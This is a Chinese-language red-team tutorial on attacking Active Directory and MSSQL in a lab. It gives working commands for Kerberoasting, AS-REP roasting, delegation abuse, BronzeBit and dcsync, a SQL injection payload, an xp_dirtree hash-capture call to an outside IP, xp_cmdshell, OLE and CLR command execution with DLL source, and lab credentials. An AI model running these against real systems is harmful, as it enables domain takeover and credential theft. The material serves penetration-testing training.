章节8:Active Directory 的利用

Kerberos认证与利用

Kerberos


深入了解 Kerberos 协议对于 AD 的利用十分重要。Kerberos 是 Active Directory 中一个非常有趣的话题,因为许多利用都是基于 Kerberos 的。自 Windows Server 2003 开始​​,Kerberos 充当着身份认证的主要角色。NTLM 认证采用了质询响应的机制,而 Kerberos 是基于票据系统的。

因此,在利用 Kerberos 之前,我们应该理解 Kerberos 认证的每一步。在 Kerberos 认证中,有这么几个角色我们需要知道:

客户端:登录其工作站的终端用户

KDC:域中的域控制器,由身份认证服务器 AS,和票据授予服务器 TGS 组成

服务/资源服务器:终端用户在认证后想要访问的服务或资源所在的服务器,如 MSSQL 服务器实例所在的服务器。

image.png

步骤 1:AS-REQ

当终端用户登录时,客户端向域控制器的认证服务器发送请求。请求中包含了使用用户密钥加密的时间戳。根据 Kerberos 所使用的加密类型,例如 AES256_HMAC_SHA1,密钥则由用户名、密码、域名生成 (如果是 RC4,那么密码的 NTLM 哈希就可以)。

步骤 2:AS-REP

当认证服务器 AS 收到了请求,查询该用户的存在,并用 AD 数据库中该用户的凭证所得到的的密钥来解密该时间戳。如果该时间戳有效,那么 AS 返回使用 krbtgt 密钥加密后的 TGT用户密钥加密后的会话密钥 1 (客户端与认证服务器之间) 。因为会话密钥 1 是使用用户密钥加密的,用户可以自行解密并且重用。TGT 包含了诸多用户的相关信息,包括权限信息 (组归属),时间戳、地址、会话密钥 1。


步骤 3:TGS-REQ

客户端使用自己的密钥解密得到会话密钥 1,并用会话密钥 1 加密时间戳。客户端向票据授予服务器 TGS 发起请求,指定要访问的服务的 SPN,并提交得到的 TGT。


步骤 4:TGS-REP

票据授予服务器 TGS 使用 krbtgt 的密钥解密 TGT,从而得到会话密钥 1,再用会话密钥 1解密请求中的其他信息,如时间戳。如果一切校验无误,TGS 返回使用会话密钥 1 加密的会话密钥 2 (客户端与资源服务器之间的会话密钥) ,以及服务票据。服务票据包含了客户端主体名称、目标资源的 SPN,以及会话密钥 2 等信息,服务票据被资源账户的密钥加密


步骤 5:AP-REQ

客户使用会话密钥 1 来解密会话密钥 2,于是客户现在有了服务票据以及会话密钥 2 了。客户向资源服务器发起请求,请求中包含了服务票据、使用会话密钥 2 加密的时间戳和客户端主体


步骤 6:AP-REP

资源服务器使用 SPN 对应的账户的密钥解密服务票据,得到会话密钥 2,进而解密得到时间戳和客户端主体。资源服务器还会检查客户端的权限,例如其所在分组,一切无误即授予访问。

简化流程


Kerberos 认证实际上很复杂,在很多情况下,我们也不需要记住每一步的每一个细节,我们可以稍微简化流程以帮助快速理解。假设在以下步骤中,没有任何异常发生,例如错误的凭证、网络的不稳定、权限不足。

客户端认证

第 1 步:客户端向 KDC (AS) 请求 TGT

第 2 步:KDC (AS) 将 TGT 返回给客户端。

客户授权

第 3 步:客户端向 KDC (TGS) 请求服务票据

第 4 步:KDC (TGS) 将服务票据返回给客户端

访问请求

第 5 步:客户端请求访问特定的资源

第 6 步:如果客户端具有权限 (例如属于特定分组),则授予访问


Kerberoasting 攻击

如果一个在服务以域用户的上下文在域主机机上运行,那么它是一个服务帐户,并且具有服务主体名称 SPN。 SPN 是服务实例的唯一标识符。 krbtgt 总是设置了 SPN,但它是不可利用的。

image.png


根据前面提到的 Kerberos 身份认证流程,我们发现服务帐户的密钥用于加密服务票据。 因此,Kerberoasting 是一种通过为目标服务帐户请求服务票据从而提取 krb5tgs 哈希的技术。之后则可以对 krb5tgs 哈希进行离线破解,如果运气好的话则能还原出明文密码。


基于 Windows 平台的枚举与利用

枚举
Get-NetUser -SPN | select samaccountname

image.png

利用
rubeus.exe kerberoast /format:hashcat /user:[服务帐户] /nowrap

image.png


基于 Linux 平台的枚举与利用

利用
python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password]

image.png


破解哈希
hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt

image.png

我们得到 PROD 域中,sql_service 账户的密码为 beautiful1


ASREPRoasting 攻击

如果域用户不需要 Kerberos 预身份验证,我们可以为用户请求 AS-REP 并从部分回复中检索 krb5asrep 哈希。 希望我们可以破解哈希并获得明文密码。

image.png

基于 Windows 平台的枚举与利用

枚举
Get-NetUser -PreAuthNotRequired | select samaccountname

image.png

我们发现,raven-med 域中的用户 jason 禁用了预认证。

利用
rubeus.exe asreproast /format:hashcat /user:[目标用户] /nowrap

image.png


基于 Linux 平台的枚举与利用

利用
python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn]/ -usersfile [user list] -format hashcat 

image.png

破解哈希
hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt

image.png

我们成功地还原出了用户 jason 的密码,为 1q2w3e4r

Kerberos委派的利用

这一小节,我们讨论 Kerberos 委派。委派解决了双跳问题,但是,攻击者也可以利用委派来获得代码执行以及横向移动到其他主机上。

出于教学目的,本小节将采取白盒的形式,即暂时跳过至委派利用之前的前置利用步骤,提供明文凭证

【非约束委派】
raven-med域中的mon01主机(admin:Passw0rdmon01)

【约束委派】
white-bird域中的 web02 主机,指定了 dc05 的eventlog和cifs服务,Administrator不可被委派。(Administrator:Passw0rdweb02)
(CVE-2020-17049)med-deal域中的srv02主机,指定了 dc04 的eventlog服务,Administrator不可被委派。(Administrator:Passw0rdsrv02)

【基于资源的约束委派】
file01 对 dc01 具有 GenericAll 特权(Administrator:Passw0rdfile01)

【练习】
med-factory.local中的服务帐号deleg_exec (密码Passw0rddeleg) 被配置了对 dc03 的eventsystem服务的委派。


非约束委派

Kerberos 委派允许用户或服务代表另一位用户访问另一个服务。一个典型的场景是,用户向 IIS 服务器进行身份验证,然后 IIS 服务器代表用户向 MSSQL 服务器进行身份验证。

非约束委派可以分配给计算机或用户,但主要是计算机。配置可以在域控制器上完成。从系统管理员的角度来看,我们可以在委派选项卡上选择信任此计算机代表任何服务 (仅限 Kerberos)选项,为域计算机配置非约束委派。

image.png


我们提到了委派解决了双跳问题,那么非约束委派是如何解决这个问题的呢?如果一台计算机被配置了非约束委派,当用户访问 IIS (前端服务) 服务器时,KDC 也将用户的 TGT 包含在 TGS 票据中。然后,IIS 服务器提取用户的 TGT 并将其缓存在内存中。之后,IIS 服务器使用用户的 TGT 代表用户访问 MSSQL (后端服务) 服务器。但问题在于,由于用户的 TGT 被缓存在 IIS 服务器的内存中,IIS 服务器可以使用用户的 TGT 代表用户访问任何其他服务,这意味着 IIS 服务器可以模仿用户。如果 IIS 服务器受到攻击,攻击者可以从内存中提取所有 TGT 并模仿这些用户。更糟糕的是,如果缓存了高权限用户的 TGT,例如域管理员的 TGT,攻击者可以接管整个域和森林。

我们来详细解释一下这些步骤。

image.png


步骤 1

用户 -> DC:用户请求一个 TGT。

步骤 2

DC -> 用户:用户获得 TGT。

步骤 3

用户 -> DC:用户请求一个 TGS 票据。

步骤 4

DC -> 用户:用户获得 TGS 票据。

步骤 5

用户 -> IIS 服务器:用户将 TGT 和 TGS 票据都发送给 IIS 服务器。

步骤 6

IIS 服务器 -> DC:IIS 服务器使用用户的 TGT 向 DC 请求一个 TGS 票据,以访问 MSSQL 服务器。

步骤 7

IIS 服务器 -> MSSQL 服务器:IIS 服务器代表用户访问 MSSQL 服务器。


枚举

Get-NetComputer -Unconstrained | select dnshostname

image.png

域控制器总是被配置了非约束委派,但这对我们没有帮助,能拿下域控制器,我们也不需要借助非约束委派来提权了。


利用

1:在配置了非约束委派的主机上拿到最高权限。我们已经提供了明文凭证。

2:使用 Rubeus 在当前主机上开启监听模式,每间隔 5 秒钟刷新新的票据

rubeus.exe monitor /interval:5 /nowrap

image.png

3:等待高权限用户访问 Mon01 上的服务,例如 SMB 共享目录,但这样太偶然了。我们可以使用 spoolsample 这类强制认证的工具,通过 MS-RPRN RPC 接口强制另一台主机对该主机认证。

spoolsample.exe dc02 mon01

image.png

我们可以在任何 Windows 域内主机上执行该命令。

4:复制 dc02$ 的TGT,使用 Rubeus 来传递票据至内存中

rubeus.exe ptt /ticket:<...>

image.png

5:使用 dcsync 导出任意用户的凭证

dcsync <域的fqdn> <域\用户>

image.png

6:但如果直接访问 dc02 的 C$,会发现访问被拒绝,因为我们导入的是 dc02$ 的 TGT,即主机帐号的票据。主机帐号对自身没有本地管理员权限,但在后文我们可以实现。

image.png

非约束委派十分强大,在森林里,如果我们攻下一台配置了非约束委派的主机,我们可以轻易接管整个森林。在特定情况下,我们甚至能将访问延伸到其他森林。


约束委派

受限委派比非约束委派更安全,因为服务器不再缓存用户的 TGT 票据。相反,服务器可以使用自己的 TGT 为用户请求一个 TGS,并且服务器只能代表用户访问指定的服务器和服务。以 Web02 为例,IIS 服务器只能代表用户访问 dc05 主机上的 CIFSeventlog 服务。

从系统管理员的角度来看,可以像这样配置约束委派:选择信任此计算机仅委派给指定的服务选项。 它有 2 个子选项,分别是使用任何身份验证协议 (即支持协议转换),以及仅使用 Kerberos (即不支持协议转换)。我们先研究前者,稍后会讨论,如果选择了仅使用 Kerberos,会有什么不同,以及如何利用。 此外,除了主机,服务帐户也可以被配置约束委派。

image.png

我们能看到一些区别,即 Srv02 的非约束委派选择的是仅使用 Kerberos

image.png

我们能看到,Web02 可以代表用户访问 Dc05 的 cifs 和 eventlog 服务,cifs 固然很棒,但 eventlog 看起来却并不令人兴奋,不过不用担心。虽然服务是指定的,但我们可以使用 altservice 技巧来绕过,因为服务名称不会被 S4U 验证,而且它在票据中也没有加密。

我们来详细了解一下受限委派的整个过程。

image.png


步骤 1

用户 -> IIS 服务器:用户通过 NTLMv2 认证与 IIS 服务器进行身份验证

步骤 2

IIS 服务器 -> DC:IIS 服务器利用 S4U2Self 为用户请求访问自身 (IIS 服务器) 的 TGS 票据。

步骤 3

DC -> IIS 服务器:KDC 将可转发的 TGS 返回给 IIS 服务器。

步骤 4

IIS 服务器 -> DC:IIS 服务器利用 S4U2Proxy 为用户请求访问 SQL 服务器的 TGS

步骤 5

DC -> IIS 服务器:KDC 将可转发的 TGS 返回给 IIS 服务器。

步骤 6

IIS 服务器 -> SQL 服务器:IIS 服务器使用可转发的 TGS 代表用户访问 SQL 服务。

因为认证不是采用的 Kerberos,那么前端服务没有用户的 TGS,自然也无法进行后续的 S4U2Proxy。而前端服务可以进行协议转换,使用 S4U2Self 让该服务为该认证的用户获得一张访问自身的 TGS。前端服务将自身的 TGT,以及会话密钥加密的时间戳一起交给 KDC,指定了给哪个用户授予票据,接着 KDC 返回 TGS 给前端服务。这样的话,就可以进行 S4U2Proxy 了,通过将前端服务的 TGT,以及用户的TGS (可以是通过 S4U2Self 获得的,也可以是用户通过 Kerberos 认证传递的),从而替用户申请访问后端服务的 TGS。

如果模仿的用户被设置了不可被委派,或者是受保护的成员,那么通过 S4U2Self 获得的 TGS 是不可转发的,自然也无法用于 S4U2Proxy 了。

image.png

(图片来自 https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-theory/)


枚举

Get-NetComputer -TrustedToAuth

image.png


Get-NetUser -TrustedToAuth

image.png

我们的 Lab 里,目前还没有配置了约束委派的服务账户。


利用

1:攻下被配置了约束委派的服务账户或者主机。如果是主机,那么我们可能需要 SYSTEM 权限。

2:为目标机器或服务帐户请求 TGT。

情形 1:我们已经拥有本地管理员权限,或者我们知道目标用户或主机的凭证。

rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap

在拿到 SYSTEM 权限后,可以通过 mimikatz 模块提取 Web02$ 的密钥

mimikatz sekurlsa::ekeys

image.png

当前,Web02$ 的 AES256 密钥为 41a46863d482499ba9dc0404b51871e68dd74e71852167deb19f140471c39efa。我们可以通过密钥来申请 TGT,或者从内存中导出 TGT。

image.png

image.png

情形 2:我们没有本地管理员权限,也不知道当前用户或主机的凭证。这种情形通常是我们拿下了被配置了约束委派的服务账户,但该账户对主机没有本地管理员特权,即无法提取密钥。我们可以使用 Rubeus 的 tgtdeleg 来申请可用的 TGT。

rubeus.exe tgtdeleg /nowrap

image.png

总的来说,无论在哪种情形下,tgtdeleg 技巧是很方便的。

3:将 TGT 另存为文件,或者将 base64 编码后的票据复制到粘贴板

Kali

echo '<..ticket..>' | base64 -d > tgt.kirbi

Windows

[System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“<..ticket..>”))

4:模仿特权用户并请求 TGS 以访问目标主机上的 CIFS 服务。例如,特权用户可以是目标主机的本地管理员,有时我们甚至可以模仿域管理员。 但请注意,域用户可以被设置为敏感账户从而不可被委派。所指定的服务名称不会被验证,所以即使目标服务是 eventlog,我们也可以将其修改为 CIFS 服务。

在 white-bird.local 中,域管理员 Administrator 是敏感账户,不可以被委派。但另一个域管理员账户 macro 却可以被委派。

image.png

image.png

命令应该是

rubeus.exe s4u /impersonateuser:<高特权用户> /msdsspn:<指定的服务名称>/<域fqdn> /user:<被配置约束委派的账户> /ticket:<文件或编码> /altservice:cifs /nowrap /ptt

image.png

我们看到,一共有 2 张 TGS票据。第一张是通过 S4U2Self 得到,是 Web02 代表用户 macro 申请访问自身 (Web02) 的 TGS,第二张 TGS 是通过 S4U2Proxy 得到,Web02 代表用户 macro 申请访问 Dc05 的 CIFS 服务的 TGS。 其中,我们通过 altservice 技巧修改了 eventlog 服务,更换为了 cifs。


5:ticket被导入内存后,所以我们可以在 Web02 上访问 Dc05 的 C$ 了。

image.png



基于资源的约束委派

配置约束委派需要在域控制器上具有 SeEnableDelegationPrivilege 权限,因此通常只有域管理员用户才能配置它。然而,配置基于资源的受限委派 (RBCD) 并不需要这个权限,即系统管理员可以为主机配置 RBCD,资源自身可以决定信任谁。

要配置约束委派,需要为前端服务器配置 msDs-AllowedToDelegateTo 属性。RBCD 通过在后端服务器上添加 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来运作,该属性应该是前端服务器的 SID。

配置 RBCD 有一个前提要求,即前端服务 (IIS 服务器) 应该具有一个 SPN,因为前端服务需要在 S4U2Self 过程中为用户请求访问自身的 TGS。如果前端服务不是计算机帐户或服务帐户,那么它就没有意义。


枚举

如果已经拿下的用户或主机对另一台主机具有 GenericWrite (或更高权限) 权限,那么基于资源的约束委派可被利用。通过 BloodHound 观察会更加直观。在本 Lab 中,主机 File01 对 Dc01 具有 GenericWrite 权限,因此我们可以利用 RBCD。


利用

1:新建一个主机账号,如果我们已经拿下一台主机的 SYSTEM 权限,也可以提取该主机帐号的密钥。

导入 PowerMad.ps1 脚本工具。

New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’ -AsPlainText -Force)

image.png

2: 将 AllowedToActOnBehalfOfOtherIdentity 属性添加到机器 Dc01 (后端服务),该值应为我们新增的主机 RBCD$ (或者是我们拿到 SYSTEM 权限的主机) 的 (前端服务) 二进制格式 SID

首先需要得到 RBCD$ 的 SID,这里是 S-1-5-21-1674258736-4167122442-1078531953-3102

powershell get-netcomputer -identity rbcd | select objectsid

image.png

下面是一串很长的 powershell 命令,我们分解一下:我们创建了一个新的安全描述符,允许 RBCD$ 具有 AllowedToActOnBehalfOfOtherIdentity 所对应的权限。将该安全描述符转换为二进制格式,然后添加到主机 Dc01 的该属性上。我们需要更改的是前端主机 SID 以及设置的后端主机名

powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1674258736-4167122442-1078531953-3102)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-NetComputer -Identity dc01 | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

image.png

验证该属性已经被添加

powershell get-netcomputer  -identity dc01 | select msds-allowedtoactonbehalfofotheridentity

image.png


3:类似于约束委派部分的步骤,利用 S4U 模仿高权限用户获取 TGS 票证以访问后端服务器的资源。但首先,我们需要知道添加的计算机帐户的哈希密码。

rubeus.exe hash /domain:<domain> /user:rbcd$ /password:<password>

image.png

然后利用 S4U 得到可以访问后端服务器上的资源的 TGS。在 PROD 中,administrator 是可以被委派的。在利用之前,我们发现现在不能访问 Dc01 的 C$。

rubeus.exe s4u /user:rbcd$ /aes256:<…> /impersonateuser:<特权用户> /msdsspn:<服务名>/<fqdn> /ptt

image.png

4:现在,我们能访问 Dc01 的 C$ 了。

image.png



S4U2Self 的利用

我们已经讨论过 S4U2Self 和 S4U2Proxy 的作用以及异同了,现在,让我们讨论 S4U2Self 的一个利用。计算机帐户在其自身上没有本地管理员权限。例如,我们可以捕获计算机帐户的 TGT,但我们不能直接以本地管理员权限移动到计算机。我们之前获得了 Dc02$ 的 TGT,我们可以通过以下步骤将 Dc02 计算机帐户的 TGT 转换为 CIFS 的TGS。

我们现在无法访问 Dc02 的 C$。

image.png

利用 S4U2Self 为用户 carrot 申请一张访问 DC02$ 的票据:

execute-assembly rubeus.exe s4u /self /impersonateuser:<高权限用户> /ticket:<...> /nowrap

image.png

我们可以看到,票据确实是用于访问 Dc02$ 的,但不能直接使用。记住我们之前说过,服务名称部分是不被保护的,因此,我们可以修改为任意我们想要访问的服务,例如 cifs。使用 tgssub 选项实现,命令如下:

execute-assembly rubeus.exe tgssub /altservice:cifs/dc02.raven-med.local /ticket:<刚才得到的TGS> /ptt

image.png

最终,我们可以访问 Dc02 的 C$ 了。

image.png



CVE-2020-17049 BronzeBit 攻击

我们在约束委派部分讲了,如果设置约束委派的时候,选择了仅使用 Kerberos,即禁用协议转换,会是另外一个故事。在预期情况下,如果选择了该选项,那么用户只能通过 Kerberos 向前端服务认证,从而使得前端服务拥有用户的 TGS,再进行后续的 S4U2Poxy。这样的话,意味着需要依赖于用户交互。如果我们像之前一样,试图使用 S4U2Self 替用户获得访问自身的 TGS,得到的 TGS 也是不可转发的。

我们总结一下,有这些情况,S4U2Self 获得的 TGS 是不可转发的:模仿的用户是受保护的、模仿的用户禁止被委派、禁用协议转换。然而在 CVE-2020-17049 补丁之前,Forwardable 位是被前端服务帐号的密钥所加密的,并不在签名的 PAC (校验用户权限的,例如组归属信息) 中。只要我们有了前端服务的密钥,就可以攥改该位数据。这样的话,我们就能将其修改为可转发的 TGS,从而进行后续的 S4U2Proxy 过程了。这意味着我们能绕过用户保护属性以及禁用协议转换的限制。

在我们的 Lab 之中,Srv02 配置了这样的约束委派,利用成功的话,我们可以在 Dc04 上获得代码执行。我们先提取 Srv02$ 的 AES256 密钥,值为 b0be535ccb148cfa92ee481ce545008132bf5032e91bb249879200c705252399

image.png

像一般的约束委派利用步骤一样利用 S4U,只是必须要指定 /bronzebit/aes256

execute-assembly rubeus.exe s4u /user:<前端服务> /ticket:<前端服务帐号的TGT> /aes256:<AES256密钥> /impersonateuser:administrator /msdsspn:<服务>/<后端服务器FQDN> /altservice:cifs /bronzebit /ptt

image.png

然后,我们就可以访问 Dc04$ 的资源了。

image.png

当然了,在该 CVE 漏洞的补丁之后,我们不再能这样利用了,因为 Forwardable 位PAC 所保护了,我们无法攥改。



比较

非约束委派

前端服务器配置无约束委派,它代表经过身份验证的用户请求访问域中的任何资源。

约束委派

前端服务器的 msDS-AllowedToDelegateTo 属性配置后端服务器的 SPN。前端服务器使用其身份 (TGT) 代表经过身份验证的用户请求访问指定后端服务器上的指定服务。模式是 A 信任 B

基于资源的约束委派

后端服务器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性配置前端服务器的 SID。这意味着,后端服务器允许前端服务器代表其他用户访问自己的资源。模式是 B 信任 A

MSSQL 的利用

MSSQL

Microsoft SQL 服务器在 Active Directory 基础设施中很常见,不仅因为 MSSQL 服务器是 Web 应用程序常见的后端数据库服务器,而且还因为它可以与 Active Directory 和 Kerberos 认证无缝集成。在渗透测试或红队活动中,Microsoft SQL 服务器是攻击者的重点目标之一,原因是它通常存储着敏感数据,并且可以为攻击者提供对目标基础设施的访问。当 SQL 服务器集成到 Active Directory 环境中时,诞生了特定的攻击向量。

根据之前的枚举,我们知道在 PROD域、Med-deal 域、以及White-bird 域中都有着 MSSQL 服务器,用户 sql_service 分别是对应域中 SQL 服务器实例的服务帐户。而 Web02 是 .NET 应用程序的后端数据库服务器。

在这一节,我们会用多款工具对 MSSQL 进行枚举、利用,包括了 PowerUPSQL,SqlRecon,Impacket 等。Lab 内的 SQL 相关帐号的凭证如下:

Srv01\SQL01
prod\sql_service:beautiful1
sa:Passw0rdsrv01sa

Srv02\SQL02
med-deal\sql_service:jkhnrjk123!
sa:Passw0rdsrv02sa

Web02\SQL03
white-bird\sql_service:jkhnrjk123!
sa:Passw0rdweb02sa


SQL 注入

SQL 注入也是对 MSSQL 攻击的手段之一,最为常见和经典。这是一个回顾,在第 4 章节,我们从 Web 渗透的角度,发现了 Web02 上的 .NET 应用有着 SQL 注入漏洞,并且提取到了一些数据和信息,但是,根据那时候得到的内容,看起来对我们后续渗透并没有很大的帮助,我们会在稍后对之前的 SQL 注入攻击做出延伸。如果忘记了 MSSQL 数据库的重要语句,那么请熟悉一下:

枚举数据库
select name from master..sysdatabases;

枚举表
select TABLE_NAME from [db name].information_schema.tables;

枚举列
select name from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')

枚举用户或登录
select user_name(); //Server Login Name
select system_user; //Database User Name
select * from master..syslogins;

修改密码
ALTER LOGIN webapp  WITH PASSWORD = 'Passw0rd';

当前用户或登录是否是sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT NAME from master..syslogins where SYSADMIN=1;

Web02 后端的 SQL 拼接后的语句形如 select * from medicine where medicine like %txtMedicine or brand like %txtBrand or price <=txtPrice,并无其他的输入过滤,因此,一个触发 SQL 注入的载荷为 pain ' union select system_user,2,3;--。

image.png

当前的登陆为 webapp,并不是 sysadmin,因此,我们暂时不能做出需要更高特权的行为,例如远程代码执行。

pain ' union select is_srvrolemember('sysadmin'),2,3;--

image.png



基于凭证的攻击

考虑到服务帐户 sql_service 都设置了 SPN,因此我们可以对其进行 Kerberoasting 攻击,以获取 KRB5TGS 哈希并破解。如果 sql_service 的密码不够强大,我们可以还原出明文密码。在我们的例子中,med-deal\sql_service white-bird\sql_service 的密 (jkhnrjk123!) 不在 rockyou 字典中,因此我们无法破解它以获取明文密码。但 prod\sql_service 的密码为典型的弱密码,我们是可以破解出来的。

此外,我们可以使用 Impacket 或者 Responder 运行一个恶意 SMB 服务器。然后使用 exec xp_dirtree 语句访问该 SMB 服务器以及目标共享目录,这样我们可以捕获服务帐号的 NetNTLMv2 哈希并试图破解。

如果是有效的 UNC 路径并且服务帐号具备访问权限,那么可以用于读取目录

image.png


如果是访问 Responder 的 SMB 服务器:

exec xp_dirtree '\\89.117.62.45\pwn',1,1;

image.png

因为该 SMB 服务器是恶意的,所以并不能读取出目录和文件,但却给了 Responder 机会捕获哈希。

image.png

然后我们可以使用 hashcat 或 john 来进行字典破解:

image.png

类似于 Kerberoasting 攻击,能否还原出明文密码取决于密码强度以及字典的丰富程度。



代码执行

在 MSSQL 上实现命令执行,可以有多种途径,但是在默认情况下都需要 sysadmin 特权。如果当前登陆或用户并不属于 sysadmin,也许我们可以通过手动提权来实现,这是稍后要介绍的内容,但现在,假设我们具备了 sysadmin 特权,那么该怎么实现 RCE 呢?我们在上述步骤中,知道了 PROD\sql_service 的明文密码,因此,我们可以获得该帐号的上下文。在 CobaltStrike 中,我们可以使用 make_token 以及明文凭证来创建 sql_service 的上下文,而 make_token 的背后原理,会在下个章节阐释。

image.png

回顾一下我们之前对 SQL 实例的枚举思路,之前我们使用了 PowerUpSQL 脚本。这里我们使用 SqlRecon 工具,配合 execute-assembly 命令,避免文件的落地和使用 PowerShell。我们发现 sql_service 是 sysadmin,这是可以预期的,毕竟这是 SQL 的服务帐号。

image.png

此外,我们还可以使用 Impacket 中的 mssqlclient.py 与目标 SQL 实例进行交互。该工具以原始语句查询为主,在此基础上附带了渗透测试或红队行动中常用的快捷选项,例如一键开启 xp_cmdshell

image.png


xp_cmdshell

如果当前登录是 sysadmin,我们可以在 SQL 服务器上执行任意命令。这些方法中,最臭名昭著的是 xp_cmdshell。它是 Microsoft SQL Server 的一部分,是一个系统存储过程,允许用户在 SQL Server 中执行系统命令。这对于运行脚本或与操作系统交互等任务可能很有用。然而,它也可以是一种强大的内置功能被用于攻击目标 SQL 服务器。

要执行命令,我们应确保配置选项 show advanced options xp_cmdshell 是启用的。启用它们的原始语句是:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

image.png

当然,我们也可以使用 Impacket 自带的快捷开启:

image.png

SqlRecon 也集成了一键开启 xp_cmdshell 的功能:

image.png

在开启了 xp_cmdshell 后,我们可以通过如下原始语句执行系统命令并得到输出结果:

exec xp_cmdshell '<命令>';

Impacket 还支持 xp_cmdshell <命令> 的快捷命令执行命令

image.png

SqlRecon 自然也支持一键执行 xp_cmdshell 命令:

image.png


OLE Automation Procedures

考虑到 xp_cmdshell 因被攻击者滥用而臭名昭著,从而受到了严密监控。因此,我们应该了解其他方法来执行系统命令。OLE 自动化是一种技术,允许应用程序将对象链接到另一个应用程序。OLE 自动化过程是 SQL Server 中的存储过程,它们提供了对 OLE 自动化对象和方法的访问。这些过程包括 sp_OACreatesp_OAMethod。我们可以使用 sp_OACreate 创建一个 OLE 自动化对象的实例,并使用 sp_OAMethod 调用 OLE 自动化对象的方法。我们可以利用它们来执行系统命令。

我们应该首先通过执行以下语句启用 OLE 自动化:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

image.png

可惜的是,Impacket 并没有集成一键开启 OLE 代码执行,但 SqlRecon 集成了该功能。

image.png

在开启 OLE 自动化过程后,我们可以通过如下语句来执行系统命令:

DECLARE @rce INT; EXEC sp_oacreate 'wscript.shell', @rce OUTPUT; EXEC sp_oamethod @rce, 'run', null, '<命令>';

该语句使用了 sp_OACreate 和 sp_OAMethod 来使用 WScript.Shell 这个 COM 对象执行系统命令。

image.png

我们看到日志里新增了访问记录,说明代码执行成功,尽管我们不能直接在 SQL 的返回数据中看到输出。

image.png

SqlRecon 还集成了一键 OLE 代码执行:

image.png

同样的,该命令执行成功,因为我们看到了新增的访问请求

image.png


CLR

我们还可以使用 CLR 来实现系统命令执行。CLR (公共语言运行时) 是 .NET 框架提供的运行时环境,使我们能够将 .NET DLL 文件导入到 SQL 服务器并执行 DLL 中的方法。我们可以从文件系统中读取 DLL,但将 DLL 写入至内存中以避免文件落地无疑更佳。

首先,我们应该通过执行以下语句启用 CLR 并开启 TRUSTYWORTHY 属性:

exec sp_configure 'show advanced options', 1;  RECONFIGURE;  Exec sp_configure 'clr enabled', 1;  RECONFIGURE;ALTER DATABASE [master] SET TRUSTWORTHY ON;

image.png

使用 SqlRecon 则可以一键开启:

image.png

接下来,我们需要生成一个 .NET DLL 并转换为 Hex 格式,样本代码如下:

using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
        proc.Close();
    }
};

然后使用如下 Powershell 脚本将其转换为特定的 Hex 格式

$assemblyFile = "<DLL 地址>"
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File c:\windows\tasks\clr.txt

我们也可以使用一现成 DLL 的 Hex (来自 https://mp.weixin.qq.com/s/J6lKiFxngOz0CQdGHck61A),最终写入 DLL 组件的语句为

CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f